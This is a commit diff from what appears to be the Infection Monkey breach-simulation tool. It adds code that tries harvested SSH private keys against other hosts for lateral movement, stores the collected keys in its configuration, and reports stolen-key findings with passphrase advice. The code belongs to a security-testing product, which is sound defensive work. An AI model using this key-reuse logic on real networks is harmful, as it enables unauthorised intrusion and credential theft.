forked from p15670423/monkey
Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report
This commit is contained in:
parent
f45cebfd5e
commit
30a3bbf9a0
|
@ -233,6 +233,12 @@ class Configuration(object):
|
|||
"""
|
||||
return product(self.exploit_user_list, self.exploit_password_list)
|
||||
|
||||
def get_exploit_user_ssh_key_pairs(self):
|
||||
"""
|
||||
:return: All combinations of the configurations users and ssh pairs
|
||||
"""
|
||||
return product(self.exploit_user_list, self.exploit_ssh_keys)
|
||||
|
||||
def get_exploit_user_password_or_hash_product(self):
|
||||
"""
|
||||
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
||||
|
|
|
@ -67,6 +67,7 @@
|
|||
"exploit_password_list": [],
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": [],
|
||||
"sambacry_trigger_timeout": 5,
|
||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||
|
|
|
@ -24,9 +24,9 @@ class HostExploiter(object):
|
|||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||
|
||||
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
|
||||
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
|
||||
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
|
||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
|
||||
|
||||
@abstractmethod
|
||||
def exploit_host(self):
|
||||
|
|
|
@ -2,6 +2,7 @@ import logging
|
|||
import time
|
||||
|
||||
import paramiko
|
||||
import StringIO
|
||||
|
||||
import monkeyfs
|
||||
from exploit import HostExploiter
|
||||
|
@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter):
|
|||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||
|
||||
exploited = False
|
||||
|
||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||
# Creating file-like private key for paramiko
|
||||
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
|
||||
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||
try:
|
||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
LOG.error("Failed reading ssh key")
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr,
|
||||
username=user,
|
||||
pkey=pkey,
|
||||
port=port,
|
||||
timeout=None)
|
||||
LOG.debug("Successfully logged in %s using %s users private key",
|
||||
self.host, ssh_string)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
exploited = True
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with %s"
|
||||
" private key", self.host,
|
||||
ssh_string)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
continue
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
for user, curpass in user_password_pairs:
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr,
|
||||
|
|
|
@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource):
|
|||
for attempt in telemetry_json['data']['attempts']:
|
||||
if attempt['result']:
|
||||
found_creds = {'user': attempt['user']}
|
||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
|
||||
if len(attempt[field]) != 0:
|
||||
found_creds[field] = attempt[field]
|
||||
NodeService.add_credentials_to_node(edge['to'], found_creds)
|
||||
|
@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource):
|
|||
def process_system_info_telemetry(telemetry_json):
|
||||
if 'ssh_info' in telemetry_json['data']:
|
||||
ssh_info = telemetry_json['data']['ssh_info']
|
||||
Telemetry.encrypt_system_info_creds({}, ssh_info)
|
||||
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
|
||||
if telemetry_json['data']['network_info']['networks']:
|
||||
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
|
||||
Telemetry.add_system_info_creds_to_config({}, ssh_info)
|
||||
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
|
||||
if 'credentials' in telemetry_json['data']:
|
||||
creds = telemetry_json['data']['credentials']
|
||||
Telemetry.encrypt_system_info_creds(creds)
|
||||
|
@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource):
|
|||
creds[new_user] = creds.pop(user)
|
||||
|
||||
@staticmethod
|
||||
def encrypt_system_info_creds(creds, ssh_info=None):
|
||||
def encrypt_system_info_creds(creds):
|
||||
for user in creds:
|
||||
for field in ['password', 'lm_hash', 'ntlm_hash']:
|
||||
if field in creds[user]:
|
||||
# this encoding is because we might run into passwords which are not pure ASCII
|
||||
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
|
||||
if ssh_info:
|
||||
for idx, user in enumerate(ssh_info):
|
||||
for field in ['public_key', 'private_key', 'known_hosts']:
|
||||
if ssh_info[idx][field]:
|
||||
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
|
||||
|
||||
@staticmethod
|
||||
def add_system_info_creds_to_config(creds, ssh_info=None):
|
||||
def encrypt_system_info_ssh_keys(ssh_info):
|
||||
for idx, user in enumerate(ssh_info):
|
||||
for field in ['public_key', 'private_key', 'known_hosts']:
|
||||
if ssh_info[idx][field]:
|
||||
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
|
||||
|
||||
@staticmethod
|
||||
def add_system_info_creds_to_config(creds):
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(user)
|
||||
if 'password' in creds[user]:
|
||||
|
@ -219,15 +221,15 @@ class Telemetry(flask_restful.Resource):
|
|||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||
if 'ntlm_hash' in creds[user]:
|
||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||
if ssh_info:
|
||||
for user in ssh_info:
|
||||
ConfigService.creds_add_username(user['name'])
|
||||
# Public key is useless without private key
|
||||
if user['public_key'] and user['private_key']:
|
||||
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
|
||||
user['name'], user['ip'])
|
||||
|
||||
|
||||
@staticmethod
|
||||
def add_system_info_ssh_keys_to_config(ssh_info):
|
||||
for user in ssh_info:
|
||||
ConfigService.creds_add_username(user['name'])
|
||||
# Public key is useless without private key
|
||||
if user['public_key'] and user['private_key']:
|
||||
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
|
||||
user['name'], user['ip'])
|
||||
|
||||
@staticmethod
|
||||
def encrypt_exploit_creds(telemetry_json):
|
||||
|
|
|
@ -34,6 +34,7 @@ class ReportService:
|
|||
SHELLSHOCK = 4
|
||||
CONFICKER = 5
|
||||
AZURE = 6
|
||||
STOLEN_SSH_KEYS = 7
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -203,9 +204,12 @@ class ReportService:
|
|||
for attempt in exploit['data']['attempts']:
|
||||
if attempt['result']:
|
||||
processed_exploit['username'] = attempt['user']
|
||||
if len(attempt['password']) > 0:
|
||||
if attempt['password']:
|
||||
processed_exploit['type'] = 'password'
|
||||
processed_exploit['password'] = attempt['password']
|
||||
elif attempt['ssh_key']:
|
||||
processed_exploit['type'] = 'ssh_key'
|
||||
processed_exploit['ssh_key'] = attempt['ssh_key']
|
||||
else:
|
||||
processed_exploit['type'] = 'hash'
|
||||
return processed_exploit
|
||||
|
@ -231,8 +235,12 @@ class ReportService:
|
|||
@staticmethod
|
||||
def process_ssh_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||
processed_exploit['type'] = 'ssh'
|
||||
return processed_exploit
|
||||
# Check if it's ssh key or ssh login credentials exploit
|
||||
if processed_exploit['type'] == 'ssh_key':
|
||||
return processed_exploit
|
||||
else:
|
||||
processed_exploit['type'] = 'ssh'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_rdp_exploit(exploit):
|
||||
|
@ -332,7 +340,8 @@ class ReportService:
|
|||
|
||||
@staticmethod
|
||||
def get_issues():
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
|
||||
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||
issues_dict = {}
|
||||
for issue in issues:
|
||||
machine = issue['machine']
|
||||
|
@ -392,6 +401,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||
elif issue['type'] == 'azure_password':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||
elif issue['type'] == 'ssh_key':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
issue['username'] in config_users:
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||
|
|
|
@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
SAMBACRY: 3,
|
||||
SHELLSHOCK: 4,
|
||||
CONFICKER: 5,
|
||||
AZURE: 6
|
||||
AZURE: 6,
|
||||
STOLEN_SSH_KEYS: 7
|
||||
};
|
||||
|
||||
Warning =
|
||||
|
@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
return x === true;
|
||||
}).length} threats</span>:
|
||||
<ul>
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
|
||||
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
||||
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
||||
|
@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateSshKeysIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
|
||||
<CollapsibleWellComponent>
|
||||
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||
className="label label-danger">SSH</span> attack.
|
||||
<br/>
|
||||
The Monkey authenticated over the SSH protocol with private key <span
|
||||
className="label label-success">{issue.ssh_key}</span>.
|
||||
</CollapsibleWellComponent>
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
generateRdpIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
|
@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
case 'ssh':
|
||||
data = this.generateSshIssue(issue);
|
||||
break;
|
||||
case 'ssh_key':
|
||||
data = this.generateSshKeysIssue(issue);
|
||||
break;
|
||||
case 'rdp':
|
||||
data = this.generateRdpIssue(issue);
|
||||
break;
|
||||
|
|
Loading…
Reference in New Issue